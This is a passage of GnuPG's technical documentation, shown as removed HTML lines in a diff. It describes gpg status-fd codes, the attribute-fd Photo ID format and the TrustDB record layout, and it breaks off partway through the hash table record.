-</div> - -<div id="outline-container-2-1-19" class="outline-4"> -<h4 id="sec-2-1-19"><span class="section-number-4">2.1.19</span> FILE_START <what> <filename></h4> -<div class="outline-text-4" id="text-2-1-19"> - -<p> Start processing a file <filename>. <what> indicates the performed - operation: -</p><dl> -<dt>1</dt><dd>verify -</dd> -<dt>2</dt><dd>encrypt -</dd> -<dt>3</dt><dd>decrypt -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-1-20" class="outline-4"> -<h4 id="sec-2-1-20"><span class="section-number-4">2.1.20</span> FILE_DONE</h4> -<div class="outline-text-4" id="text-2-1-20"> - -<p> Marks the end of a file processing which has been started - by FILE_START. -</p> -</div> - -</div> - -<div id="outline-container-2-1-21" class="outline-4"> -<h4 id="sec-2-1-21"><span class="section-number-4">2.1.21</span> BEGIN_SIGNING</h4> -<div class="outline-text-4" id="text-2-1-21"> - -<p> Mark the start of the actual signing process. This may be used as - an indication that all requested secret keys are ready for use. -</p> -</div> - -</div> - -<div id="outline-container-2-1-22" class="outline-4"> -<h4 id="sec-2-1-22"><span class="section-number-4">2.1.22</span> ALREADY_SIGNED <long-keyid></h4> -<div class="outline-text-4" id="text-2-1-22"> - -<p> Warning: This is experimental and might be removed at any time. -</p> -</div> - -</div> - -<div id="outline-container-2-1-23" class="outline-4"> -<h4 id="sec-2-1-23"><span class="section-number-4">2.1.23</span> SIG_CREATED <type> <pk_algo> <hash_algo> <class> <timestamp> <keyfpr></h4> -<div class="outline-text-4" id="text-2-1-23"> - -<p> A signature has been created using these parameters. - Values for type <type> are: -</p><dl> -<dt>D</dt><dd>detached -</dd> -<dt>C</dt><dd>cleartext -</dd> -<dt>S</dt><dd>standard -</dd> -</dl> - -<p> (only the first character should be checked) -</p> -<p> - <class> are 2 hex digits with the OpenPGP signature class. -</p> -<p> - Note, that TIMESTAMP may either be a number of seconds since Epoch - or an ISO 8601 string which can be detected by the presence of the - letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-1-24" class="outline-4"> -<h4 id="sec-2-1-24"><span class="section-number-4">2.1.24</span> NOTATION_</h4> -<div class="outline-text-4" id="text-2-1-24"> - -<p> There are actually two related status codes to convey notation - data: -</p> -<ul> -<li>NOTATION_NAME <name> -</li> -<li>NOTATION_DATA <string> -</li> -</ul> - - -<p> - <name> and <string> are %XX escaped; the data may be split among - several NOTATION_DATA lines. -</p> -</div> - -</div> - -<div id="outline-container-2-1-25" class="outline-4"> -<h4 id="sec-2-1-25"><span class="section-number-4">2.1.25</span> POLICY_URL <string></h4> -<div class="outline-text-4" id="text-2-1-25"> - -<p> Note that URL in <string> is %XX escaped. -</p> -</div> - -</div> - -<div id="outline-container-2-1-26" class="outline-4"> -<h4 id="sec-2-1-26"><span class="section-number-4">2.1.26</span> PLAINTEXT <format> <timestamp> <filename></h4> -<div class="outline-text-4" id="text-2-1-26"> - -<p> This indicates the format of the plaintext that is about to be - written. The format is a 1 byte hex code that shows the format of - the plaintext: 62 ('b') is binary data, 74 ('t') is text data with - no character set specified, and 75 ('u') is text data encoded in - the UTF-8 character set. The timestamp is in seconds since the - epoch. If a filename is available it gets printed as the third - argument, percent-escaped as usual. -</p> -</div> - -</div> - -<div id="outline-container-2-1-27" class="outline-4"> -<h4 id="sec-2-1-27"><span class="section-number-4">2.1.27</span> PLAINTEXT_LENGTH <length></h4> -<div class="outline-text-4" id="text-2-1-27"> - -<p> This indicates the length of the plaintext that is about to be - written. Note that if the plaintext packet has partial length - encoding it is not possible to know the length ahead of time. In - that case, this status tag does not appear. -</p> -</div> - -</div> - -<div id="outline-container-2-1-28" class="outline-4"> -<h4 id="sec-2-1-28"><span class="section-number-4">2.1.28</span> ATTRIBUTE <arguments></h4> -<div class="outline-text-4" id="text-2-1-28"> - -<p> The list or argemnts are: -</p><ul> -<li><fpr> -</li> -<li><octets> -</li> -<li><type> -</li> -<li><index> -</li> -<li><count> -</li> -<li><timestamp> -</li> -<li><expiredate> -</li> -<li><flags> -</li> -</ul> - - -<p> - This is one long line issued for each attribute subpacket when an - attribute packet is seen during key listing. <fpr> is the - fingerprint of the key. <octets> is the length of the attribute - subpacket. <type> is the attribute type (e.g. 1 for an image). - <index> and <count> indicate that this is the N-th indexed - subpacket of count total subpackets in this attribute packet. - <timestamp> and <expiredate> are from the self-signature on the - attribute packet. If the attribute packet does not have a valid - self-signature, then the timestamp is 0. <flags> are a bitwise OR - of: -</p><dl> -<dt>0x01</dt><dd>this attribute packet is a primary uid -</dd> -<dt>0x02</dt><dd>this attribute packet is revoked -</dd> -<dt>0x04</dt><dd>this attribute packet is expired -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-1-29" class="outline-4"> -<h4 id="sec-2-1-29"><span class="section-number-4">2.1.29</span> SIG_SUBPACKET <type> <flags> <len> <data></h4> -<div class="outline-text-4" id="text-2-1-29"> - -<p> This indicates that a signature subpacket was seen. The format is - the same as the "spk" record above. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-2" class="outline-3"> -<h3 id="sec-2-2"><span class="section-number-3">2.2</span> Key related</h3> -<div class="outline-text-3" id="text-2-2"> - - -</div> - -<div id="outline-container-2-2-1" class="outline-4"> -<h4 id="sec-2-2-1"><span class="section-number-4">2.2.1</span> INV_RECP, INV_SGNR</h4> -<div class="outline-text-4" id="text-2-2-1"> - -<p> The two similar status codes: -</p> -<ul> -<li>INV_RECP <reason> <requested_recipient> -</li> -<li>INV_SGNR <reason> <requested_sender> -</li> -</ul> - - -<p> - are issued for each unusable recipient/sender. The reasons codes - currently in use are: -</p> -<dl> -<dt>0</dt><dd>No specific reason given -</dd> -<dt>1</dt><dd>Not Found -</dd> -<dt>2</dt><dd>Ambigious specification -</dd> -<dt>3</dt><dd>Wrong key usage -</dd> -<dt>4</dt><dd>Key revoked -</dd> -<dt>5</dt><dd>Key expired -</dd> -<dt>6</dt><dd>No CRL known -</dd> -<dt>7</dt><dd>CRL too old -</dd> -<dt>8</dt><dd>Policy mismatch -</dd> -<dt>9</dt><dd>Not a secret key -</dd> -<dt>10</dt><dd>Key not trusted -</dd> -<dt>11</dt><dd>Missing certificate -</dd> -<dt>12</dt><dd>Missing issuer certificate -</dd> -</dl> - - -<p> - Note that for historical reasons the INV_RECP status is also used - for gpgsm's SIGNER command where it relates to signer's of course. - Newer GnuPG versions are using INV_SGNR; applications should - ignore the INV_RECP during the sender's command processing once - they have seen an INV_SGNR. Different codes are used so that they - can be distinguish while doing an encrypt+sign operation. -</p></div> - -</div> - -<div id="outline-container-2-2-2" class="outline-4"> -<h4 id="sec-2-2-2"><span class="section-number-4">2.2.2</span> NO_RECP <reserved></h4> -<div class="outline-text-4" id="text-2-2-2"> - -<p> Issued if no recipients are usable. -</p> -</div> - -</div> - -<div id="outline-container-2-2-3" class="outline-4"> -<h4 id="sec-2-2-3"><span class="section-number-4">2.2.3</span> NO_SGNR <reserved></h4> -<div class="outline-text-4" id="text-2-2-3"> - -<p> Issued if no senders are usable. -</p> -</div> - -</div> - -<div id="outline-container-2-2-4" class="outline-4"> -<h4 id="sec-2-2-4"><span class="section-number-4">2.2.4</span> KEYEXPIRED <expire-timestamp></h4> -<div class="outline-text-4" id="text-2-2-4"> - -<p> The key has expired. expire-timestamp is the expiration time in - seconds since Epoch. This status line is not very useful because - it will also be emitted for expired subkeys even if this subkey is - not used. To check whether a key used to sign a message has - expired, the EXPKEYSIG status line is to be used. -</p> -<p> - Note, that the TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-2-5" class="outline-4"> -<h4 id="sec-2-2-5"><span class="section-number-4">2.2.5</span> KEYREVOKED</h4> -<div class="outline-text-4" id="text-2-2-5"> - -<p> The used key has been revoked by its owner. No arguments yet. -</p> -</div> - -</div> - -<div id="outline-container-2-2-6" class="outline-4"> -<h4 id="sec-2-2-6"><span class="section-number-4">2.2.6</span> NO_PUBKEY <long keyid></h4> -<div class="outline-text-4" id="text-2-2-6"> - -<p> The public key is not available -</p> -</div> - -</div> - -<div id="outline-container-2-2-7" class="outline-4"> -<h4 id="sec-2-2-7"><span class="section-number-4">2.2.7</span> NO_SECKEY <long keyid></h4> -<div class="outline-text-4" id="text-2-2-7"> - -<p> The secret key is not available -</p> -</div> - -</div> - -<div id="outline-container-2-2-8" class="outline-4"> -<h4 id="sec-2-2-8"><span class="section-number-4">2.2.8</span> KEY_CREATED <type> <fingerprint> [<handle>]</h4> -<div class="outline-text-4" id="text-2-2-8"> - -<p> A key has been created. Values for <type> are: -</p><dl> -<dt>B</dt><dd>primary and subkey -</dd> -<dt>P</dt><dd>primary -</dd> -<dt>S</dt><dd>subkey -</dd> -</dl> - -<p> The fingerprint is one of the primary key for type B and P and the - one of the subkey for S. Handle is an arbitrary non-whitespace - string used to match key parameters from batch key creation run. -</p> -</div> - -</div> - -<div id="outline-container-2-2-9" class="outline-4"> -<h4 id="sec-2-2-9"><span class="section-number-4">2.2.9</span> KEY_NOT_CREATED [<handle>]</h4> -<div class="outline-text-4" id="text-2-2-9"> - -<p> The key from batch run has not been created due to errors. -</p> -</div> - -</div> - -<div id="outline-container-2-2-10" class="outline-4"> -<h4 id="sec-2-2-10"><span class="section-number-4">2.2.10</span> TRUST_</h4> -<div class="outline-text-4" id="text-2-2-10"> - -<p> These are several similar status codes: -</p> -<ul> -<li>TRUST_UNDEFINED <error_token> -</li> -<li>TRUST_NEVER <error_token> -</li> -<li>TRUST_MARGINAL [0 [<validation_model>]] -</li> -<li>TRUST_FULLY [0 [<validation_model>]] -</li> -<li>TRUST_ULTIMATE [0 [<validation_model>]] -</li> -</ul> - - -<p> - For good signatures one of these status lines are emitted to - indicate the validity of the key used to create the signature. - The error token values are currently only emitted by gpgsm. -</p> -<p> - VALIDATION_MODEL describes the algorithm used to check the - validity of the key. The defaults are the standard Web of Trust - model for gpg and the the standard X.509 model for gpgsm. The - defined values are -</p> -<dl> -<dt>pgp </dt><dd>The standard PGP WoT. -</dd> -<dt>shell</dt><dd>The standard X.509 model. -</dd> -<dt>chain</dt><dd>The chain model. -</dd> -<dt>steed</dt><dd>The STEED model. -</dd> -</dl> - - -<p> - Note that the term <code>TRUST_</code> in the status names is used for - historic reasons; we now speak of validity. -</p> -</div> - -</div> - -<div id="outline-container-2-2-11" class="outline-4"> -<h4 id="sec-2-2-11"><span class="section-number-4">2.2.11</span> PKA_TRUST_</h4> -<div class="outline-text-4" id="text-2-2-11"> - -<p> This is is one: -</p> -<ul> -<li>PKA_TRUST_GOOD <mailbox> -</li> -<li>PKA_TRUST_BAD <mailbox> -</li> -</ul> - - -<p> - Depending on the outcome of the PKA check one of the above status - codes is emitted in addition to a <code>TRUST_*</code> status. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-3" class="outline-3"> -<h3 id="sec-2-3"><span class="section-number-3">2.3</span> Remote control</h3> -<div class="outline-text-3" id="text-2-3"> - - -</div> - -<div id="outline-container-2-3-1" class="outline-4"> -<h4 id="sec-2-3-1"><span class="section-number-4">2.3.1</span> GET_BOOL, GET_LINE, GET_HIDDEN, GOT_IT</h4> -<div class="outline-text-4" id="text-2-3-1"> - - -<p> - These status line are used with –command-fd for interactive - control of the process. -</p> -</div> - -</div> - -<div id="outline-container-2-3-2" class="outline-4"> -<h4 id="sec-2-3-2"><span class="section-number-4">2.3.2</span> USERID_HINT <long main keyid> <string></h4> -<div class="outline-text-4" id="text-2-3-2"> - -<p> Give a hint about the user ID for a certain keyID. -</p> -</div> - -</div> - -<div id="outline-container-2-3-3" class="outline-4"> -<h4 id="sec-2-3-3"><span class="section-number-4">2.3.3</span> NEED_PASSPHRASE <long keyid> <long main keyid> <keytype> <keylength></h4> -<div class="outline-text-4" id="text-2-3-3"> - -<p> Issued whenever a passphrase is needed. KEYTYPE is the numerical - value of the public key algorithm or 0 if this is not applicable, - KEYLENGTH is the length of the key or 0 if it is not known (this - is currently always the case). -</p> -</div> - -</div> - -<div id="outline-container-2-3-4" class="outline-4"> -<h4 id="sec-2-3-4"><span class="section-number-4">2.3.4</span> NEED_PASSPHRASE_SYM <cipher_algo> <s2k_mode> <s2k_hash></h4> -<div class="outline-text-4" id="text-2-3-4"> - -<p> Issued whenever a passphrase for symmetric encryption is needed. -</p> -</div> - -</div> - -<div id="outline-container-2-3-5" class="outline-4"> -<h4 id="sec-2-3-5"><span class="section-number-4">2.3.5</span> NEED_PASSPHRASE_PIN <card_type> <chvno> [<serialno>]</h4> -<div class="outline-text-4" id="text-2-3-5"> - -<p> Issued whenever a PIN is requested to unlock a card. -</p> -</div> - -</div> - -<div id="outline-container-2-3-6" class="outline-4"> -<h4 id="sec-2-3-6"><span class="section-number-4">2.3.6</span> MISSING_PASSPHRASE</h4> -<div class="outline-text-4" id="text-2-3-6"> - -<p> No passphrase was supplied. An application which encounters this - message may want to stop parsing immediately because the next - message will probably be a BAD_PASSPHRASE. However, if the - application is a wrapper around the key edit menu functionality it - might not make sense to stop parsing but simply ignoring the - following BAD_PASSPHRASE. -</p> -</div> - -</div> - -<div id="outline-container-2-3-7" class="outline-4"> -<h4 id="sec-2-3-7"><span class="section-number-4">2.3.7</span> BAD_PASSPHRASE <long keyid></h4> -<div class="outline-text-4" id="text-2-3-7"> - -<p> The supplied passphrase was wrong or not given. In the latter - case you may have seen a MISSING_PASSPHRASE. -</p> -</div> - -</div> - -<div id="outline-container-2-3-8" class="outline-4"> -<h4 id="sec-2-3-8"><span class="section-number-4">2.3.8</span> GOOD_PASSPHRASE</h4> -<div class="outline-text-4" id="text-2-3-8"> - -<p> The supplied passphrase was good and the secret key material - is therefore usable. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-4" class="outline-3"> -<h3 id="sec-2-4"><span class="section-number-3">2.4</span> Import/Export</h3> -<div class="outline-text-3" id="text-2-4"> - - -</div> - -<div id="outline-container-2-4-1" class="outline-4"> -<h4 id="sec-2-4-1"><span class="section-number-4">2.4.1</span> IMPORT_CHECK <long keyid> <fingerprint> <user ID></h4> -<div class="outline-text-4" id="text-2-4-1"> - -<p> This status is emitted in interactive mode right before - the "import.okay" prompt. -</p> -</div> - -</div> - -<div id="outline-container-2-4-2" class="outline-4"> -<h4 id="sec-2-4-2"><span class="section-number-4">2.4.2</span> IMPORTED <long keyid> <username></h4> -<div class="outline-text-4" id="text-2-4-2"> - -<p> The keyid and name of the signature just imported -</p> -</div> - -</div> - -<div id="outline-container-2-4-3" class="outline-4"> -<h4 id="sec-2-4-3"><span class="section-number-4">2.4.3</span> IMPORT_OK <reason> [<fingerprint>]</h4> -<div class="outline-text-4" id="text-2-4-3"> - -<p> The key with the primary key's FINGERPRINT has been imported. - REASON flags are: -</p> -<dl> -<dt>0</dt><dd>Not actually changed -</dd> -<dt>1</dt><dd>Entirely new key. -</dd> -<dt>2</dt><dd>New user IDs -</dd> -<dt>4</dt><dd>New signatures -</dd> -<dt>8</dt><dd>New subkeys -</dd> -<dt>16</dt><dd>Contains private key. -</dd> -</dl> - - -<p> - The flags may be ORed. -</p> -</div> - -</div> - -<div id="outline-container-2-4-4" class="outline-4"> -<h4 id="sec-2-4-4"><span class="section-number-4">2.4.4</span> IMPORT_PROBLEM <reason> [<fingerprint>]</h4> -<div class="outline-text-4" id="text-2-4-4"> - -<p> Issued for each import failure. Reason codes are: -</p> -<dl> -<dt>0</dt><dd>No specific reason given. -</dd> -<dt>1</dt><dd>Invalid Certificate. -</dd> -<dt>2</dt><dd>Issuer Certificate missing. -</dd> -<dt>3</dt><dd>Certificate Chain too long. -</dd> -<dt>4</dt><dd>Error storing certificate. -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-4-5" class="outline-4"> -<h4 id="sec-2-4-5"><span class="section-number-4">2.4.5</span> IMPORT_RES <args></h4> -<div class="outline-text-4" id="text-2-4-5"> - -<p> Final statistics on import process (this is one long line). The - args are a list of unsigned numbers separated by white space: -</p> -<ul> -<li><count> -</li> -<li><no_user_id> -</li> -<li><imported> -</li> -<li><imported_rsa> -</li> -<li><unchanged> -</li> -<li><n_uids> -</li> -<li><n_subk> -</li> -<li><n_sigs> -</li> -<li><n_revoc> -</li> -<li><sec_read> -</li> -<li><sec_imported> -</li> -<li><sec_dups> -</li> -<li><skipped_new_keys> -</li> -<li><not_imported> -</li> -</ul> - - -</div> -</div> - -</div> - -<div id="outline-container-2-5" class="outline-3"> -<h3 id="sec-2-5"><span class="section-number-3">2.5</span> Smartcard related</h3> -<div class="outline-text-3" id="text-2-5"> - - -</div> - -<div id="outline-container-2-5-1" class="outline-4"> -<h4 id="sec-2-5-1"><span class="section-number-4">2.5.1</span> CARDCTRL <what> [<serialno>]</h4> -<div class="outline-text-4" id="text-2-5-1"> - -<p> This is used to control smartcard operations. Defined values for - WHAT are: -</p> -<dl> -<dt>1</dt><dd>Request insertion of a card. Serialnumber may be given - to request a specific card. Used by gpg 1.4 w/o - scdaemon -</dd> -<dt>2</dt><dd>Request removal of a card. Used by gpg 1.4 w/o scdaemon. -</dd> -<dt>3</dt><dd>Card with serialnumber detected -</dd> -<dt>4</dt><dd>No card available -</dd> -<dt>5</dt><dd>No card reader available -</dd> -<dt>6</dt><dd>No card support available -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-5-2" class="outline-4"> -<h4 id="sec-2-5-2"><span class="section-number-4">2.5.2</span> SC_OP_FAILURE [<code>]</h4> -<div class="outline-text-4" id="text-2-5-2"> - -<p> An operation on a smartcard definitely failed. Currently there is - no indication of the actual error code, but application should be - prepared to later accept more arguments. Defined values for - <code> are: -</p> -<dl> -<dt>0</dt><dd>unspecified error (identically to a missing CODE) -</dd> -<dt>1</dt><dd>canceled -</dd> -<dt>2</dt><dd>bad PIN -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-5-3" class="outline-4"> -<h4 id="sec-2-5-3"><span class="section-number-4">2.5.3</span> SC_OP_SUCCESS</h4> -<div class="outline-text-4" id="text-2-5-3"> - -<p> A smart card operaion succeeded. This status is only printed for - certain operation and is mostly useful to check whether a PIN - change really worked. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-6" class="outline-3"> -<h3 id="sec-2-6"><span class="section-number-3">2.6</span> Miscellaneous status codes</h3> -<div class="outline-text-3" id="text-2-6"> - - -</div> - -<div id="outline-container-2-6-1" class="outline-4"> -<h4 id="sec-2-6-1"><span class="section-number-4">2.6.1</span> NODATA <what></h4> -<div class="outline-text-4" id="text-2-6-1"> - -<p> No data has been found. Codes for WHAT are: -</p> -<dl> -<dt>1</dt><dd>No armored data. -</dd> -<dt>2</dt><dd>Expected a packet but did not found one. -</dd> -<dt>3</dt><dd>Invalid packet found, this may indicate a non OpenPGP - message. -</dd> -<dt>4</dt><dd>Signature expected but not found -</dd> -</dl> - - -<p> - You may see more than one of these status lines. -</p> -</div> - -</div> - -<div id="outline-container-2-6-2" class="outline-4"> -<h4 id="sec-2-6-2"><span class="section-number-4">2.6.2</span> UNEXPECTED <what></h4> -<div class="outline-text-4" id="text-2-6-2"> - -<p> Unexpected data has been encountered. Codes for WHAT are: -</p><dl> -<dt>0</dt><dd>Not further specified -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-6-3" class="outline-4"> -<h4 id="sec-2-6-3"><span class="section-number-4">2.6.3</span> TRUNCATED <maxno></h4> -<div class="outline-text-4" id="text-2-6-3"> - -<p> The output was truncated to MAXNO items. This status code is - issued for certain external requests. -</p> -</div> - -</div> - -<div id="outline-container-2-6-4" class="outline-4"> -<h4 id="sec-2-6-4"><span class="section-number-4">2.6.4</span> ERROR <error location> <error code> [<more>]</h4> -<div class="outline-text-4" id="text-2-6-4"> - -<p> This is a generic error status message, it might be followed by - error location specific data. <error code> and <error_location> - should not contain spaces. The error code is a either a string - commencing with a letter or such a string prefixed with a - numerical error code and an underscore; e.g.: "151011327_EOF". -</p> -</div> - -</div> - -<div id="outline-container-2-6-5" class="outline-4"> -<h4 id="sec-2-6-5"><span class="section-number-4">2.6.5</span> SUCCESS [<location>]</h4> -<div class="outline-text-4" id="text-2-6-5"> - -<p> Postive confirimation that an operation succeeded. <location> is - optional but if given should not contain spaces. Used only with a - few commands. -</p> -</div> - -</div> - -<div id="outline-container-2-6-6" class="outline-4"> -<h4 id="sec-2-6-6"><span class="section-number-4">2.6.6</span> BADARMOR</h4> -<div class="outline-text-4" id="text-2-6-6"> - -<p> The ASCII armor is corrupted. No arguments yet. -</p> -</div> - -</div> - -<div id="outline-container-2-6-7" class="outline-4"> -<h4 id="sec-2-6-7"><span class="section-number-4">2.6.7</span> DELETE_PROBLEM <reason_code></h4> -<div class="outline-text-4" id="text-2-6-7"> - -<p> Deleting a key failed. Reason codes are: -</p><dl> -<dt>1</dt><dd>No such key -</dd> -<dt>2</dt><dd>Must delete secret key first -</dd> -<dt>3</dt><dd>Ambigious specification -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-6-8" class="outline-4"> -<h4 id="sec-2-6-8"><span class="section-number-4">2.6.8</span> PROGRESS <what> <char> <cur> <total></h4> -<div class="outline-text-4" id="text-2-6-8"> - -<p> Used by the primegen and Public key functions to indicate - progress. <char> is the character displayed with no –status-fd - enabled, with the linefeed replaced by an 'X'. <cur> is the - current amount done and <total> is amount to be done; a <total> of - 0 indicates that the total amount is not known. The condition -</p><pre class="example"> - TOTAL && CUR == TOTAL -</pre> - -<p> may be used to detect the end of an operation. -</p> -<p> - Well known values for WHAT are: -</p> -<dl> -<dt>pk_dsa </dt><dd>DSA key generation -</dd> -<dt>pk_elg </dt><dd>Elgamal key generation -</dd> -<dt>primegen</dt><dd>Prime generation -</dd> -<dt>need_entropy</dt><dd>Waiting for new entropy in the RNG -</dd> -<dt>tick</dt><dd>Generic tick without any special meaning - useful - for letting clients know that the server is still - working. -</dd> -<dt>starting_agent</dt><dd>A gpg-agent was started because it is not - running as a daemon. -</dd> -<dt>learncard</dt><dd>Send by the agent and gpgsm while learing - the data of a smartcard. -</dd> -<dt>card_busy</dt><dd>A smartcard is still working -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-6-9" class="outline-4"> -<h4 id="sec-2-6-9"><span class="section-number-4">2.6.9</span> BACKUP_KEY_CREATED <fingerprint> <fname></h4> -<div class="outline-text-4" id="text-2-6-9"> - -<p> A backup of a key identified by <fingerprint> has been writte to - the file <fname>; <fname> is percent-escaped. -</p> -</div> - -</div> - -<div id="outline-container-2-6-10" class="outline-4"> -<h4 id="sec-2-6-10"><span class="section-number-4">2.6.10</span> MOUNTPOINT <name></h4> -<div class="outline-text-4" id="text-2-6-10"> - -<p> <name> is a percent-plus escaped filename describing the - mountpoint for the current operation (e.g. used by "g13 –mount"). - This may either be the specified mountpoint or one randomly - choosen by g13. -</p> -</div> - -</div> - -<div id="outline-container-2-6-11" class="outline-4"> -<h4 id="sec-2-6-11"><span class="section-number-4">2.6.11</span> PINENTRY_LAUNCHED <pid></h4> -<div class="outline-text-4" id="text-2-6-11"> - -<p> This status line is emitted by gpg to notify a client that a - Pinentry has been launched. <pid> is the PID of the Pinentry. It - may be used to display a hint to the user but can't be used to - synchronize with Pinentry. Note that there is also an Assuan - inquiry line with the same name used internally or, if enabled, - send to the client instead of this status line. Such an inquiry - may be used to sync with Pinentry -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-7" class="outline-3"> -<h3 id="sec-2-7"><span class="section-number-3">2.7</span> Obsolete status codes</h3> -<div class="outline-text-3" id="text-2-7"> - - -</div> - -<div id="outline-container-2-7-1" class="outline-4"> -<h4 id="sec-2-7-1"><span class="section-number-4">2.7.1</span> SIGEXPIRED</h4> -<div class="outline-text-4" id="text-2-7-1"> - -<p> Removed on 2011-02-04. This is deprecated in favor of KEYEXPIRED. -</p></div> - -</div> - -<div id="outline-container-2-7-2" class="outline-4"> -<h4 id="sec-2-7-2"><span class="section-number-4">2.7.2</span> RSA_OR_IDEA</h4> -<div class="outline-text-4" id="text-2-7-2"> - -<p> Obsolete. This status message used to be emitted for requests to - use the IDEA or RSA algorithms. It has been dropped from GnuPG - 2.1 after the respective patents expired. -</p></div> - -</div> - -<div id="outline-container-2-7-3" class="outline-4"> -<h4 id="sec-2-7-3"><span class="section-number-4">2.7.3</span> SHM_INFO, SHM_GET, SHM_GET_BOOL, SHM_GET_HIDDEN</h4> -<div class="outline-text-4" id="text-2-7-3"> - -<p> These were used for the ancient shared memory based co-processing. -</p></div> - -</div> - -<div id="outline-container-2-7-4" class="outline-4"> -<h4 id="sec-2-7-4"><span class="section-number-4">2.7.4</span> BEGIN_STREAM, END_STREAM</h4> -<div class="outline-text-4" id="text-2-7-4"> - -<p> Used to issued by the experimental pipemode. -</p> - -</div> -</div> -</div> - -</div> - -<div id="outline-container-3" class="outline-2"> -<h2 id="sec-3"><span class="section-number-2">3</span> Format of the –attribute-fd output</h2> -<div class="outline-text-2" id="text-3"> - - -<p> - When –attribute-fd is set, during key listings (–list-keys, - –list-secret-keys) GnuPG dumps each attribute packet to the file - descriptor specified. –attribute-fd is intended for use with - –status-fd as part of the required information is carried on the - ATTRIBUTE status tag (see above). -</p> -<p> - The contents of the attribute data is specified by RFC 4880. For - convenience, here is the Photo ID format, as it is currently the - only attribute defined: -</p> -<dl> -<dt>Byte 0-1</dt><dd>The length of the image header. Due to a historical - accident (i.e. oops!) back in the NAI PGP days, this - is a little-endian number. Currently 16 (0x10 0x00). - -</dd> -<dt>Byte 2</dt><dd>The image header version. Currently 0x01. - -</dd> -<dt>Byte 3</dt><dd>Encoding format. 0x01 == JPEG. - -</dd> -<dt>Byte 4-15</dt><dd>Reserved, and currently unused. -</dd> -</dl> - - -<p> - All other data after this header is raw image (JPEG) data. -</p> - -</div> - -</div> - -<div id="outline-container-4" class="outline-2"> -<h2 id="sec-4"><span class="section-number-2">4</span> Unattended key generation</h2> -<div class="outline-text-2" id="text-4"> - - -<p> - Please see the GnuPG manual for a description. -</p> - -</div> - -</div> - -<div id="outline-container-5" class="outline-2"> -<h2 id="sec-5"><span class="section-number-2">5</span> Layout of the TrustDB</h2> -<div class="outline-text-2" id="text-5"> - - -<p> - The TrustDB is built from fixed length records, where the first byte - describes the record type. All numeric values are stored in network - byte order. The length of each record is 40 bytes. The first record - of the DB is always of type 1 and this is the only record of this - type. -</p> -<p> - FIXME: The layout changed, document it here. -</p> - - -<pre class="example">Record type 0: --------------- - Unused record, can be reused for any purpose. - -Record type 1: --------------- - Version information for this TrustDB. This is always the first - record of the DB and the only one with type 1. - 1 byte value 1 - 3 bytes 'gpg' magic value - 1 byte Version of the TrustDB (2) - 1 byte marginals needed - 1 byte completes needed - 1 byte max_cert_depth - The three items are used to check whether the cached - validity value from the dir record can be used. - 1 u32 locked flags [not used] - 1 u32 timestamp of trustdb creation - 1 u32 timestamp of last modification which may affect the validity - of keys in the trustdb. This value is checked against the - validity timestamp in the dir records. - 1 u32 timestamp of last validation [currently not used] - (Used to keep track of the time, when this TrustDB was checked - against the pubring) - 1 u32 record number of keyhashtable [currently not used] - 1 u32 first free record - 1 u32 record number of shadow directory hash table [currently not used] - It does not make sense to combine this table with the key table - because the keyid is not in every case a part of the fingerprint. - 1 u32 record number of the trusthashtbale - - -Record type 2: (directory record) --------------- - Informations about a public key certificate. - These are static values which are never changed without user interaction. - - 1 byte value 2 - 1 byte reserved - 1 u32 LID . (This is simply the record number of this record.) - 1 u32 List of key-records (the first one is the primary key) - 1 u32 List of uid-records - 1 u32 cache record - 1 byte ownertrust - 1 byte dirflag - 1 byte maximum validity of all the user ids - 1 u32 time of last validity check. - 1 u32 Must check when this time has been reached. - (0 = no check required) - - -Record type 3: (key record) --------------- - Informations about a primary public key. - (This is mainly used to lookup a trust record) - - 1 byte value 3 - 1 byte reserved - 1 u32 LID - 1 u32 next - next key record - 7 bytes reserved - 1 byte keyflags - 1 byte pubkey algorithm - 1 byte length of the fingerprint (in bytes) - 20 bytes fingerprint of the public key - (This is the value we use to identify a key) - -Record type 4: (uid record) --------------- - Informations about a userid - We do not store the userid but the hash value of the userid because that - is sufficient. - - 1 byte value 4 - 1 byte reserved - 1 u32 LID points to the directory record. - 1 u32 next next userid - 1 u32 pointer to preference record - 1 u32 siglist list of valid signatures - 1 byte uidflags - 1 byte validity of the key calculated over this user id - 20 bytes ripemd160 hash of the username. - - -Record type 5: (pref record) --------------- - This record type is not anymore used. - - 1 byte value 5 - 1 byte reserved - 1 u32 LID; points to the directory record (and not to the uid record!). - (or 0 for standard preference record) - 1 u32 next - 30 byte preference data - -Record type 6 (sigrec) -------------- - Used to keep track of key signatures. Self-signatures are not - stored. If a public key is not in the DB, the signature points to - a shadow dir record, which in turn has a list of records which - might be interested in this key (and the signature record here - is one). - - 1 byte value 6 - 1 byte reserved - 1 u32 LID points back to the dir record - 1 u32 next next sigrec of this uid or 0 to indicate the - last sigrec. - 6 times - 1 u32 Local_id of signatures dir or shadow dir record - 1 byte Flag: Bit 0 = checked: Bit 1 is valid (we have a real - directory record for this) - 1 = valid is set (but may be revoked) - - - -Record type 8: (shadow directory record) --------------- - This record is used to reserve a LID for a public key. We - need this to create the sig records of other keys, even if we - do not yet have the public key of the signature. - This record (the record number to be more precise) will be reused - as the dir record when we import the real public key. - - 1 byte value 8 - 1 byte reserved - 1 u32 LID (This is simply the record number of this record.) - 2 u32 keyid - 1 byte pubkey algorithm - 3 byte reserved - 1 u32 hintlist A list of records which have references to - this key. This is used for fast access to - signature records which are not yet checked. - Note, that this is only a hint and the actual records - may not anymore hold signature records for that key - but that the code cares about this. - 18 byte reserved - - - -Record Type 10 (hash table) --------------- - Due to the fact that we use fingerprints to lookup keys, we can - implement quick access by some simple hash methods, and avoid - the overhead of gdbm. A property of fingerprints is that they can be - used directly as hash values. (They can be 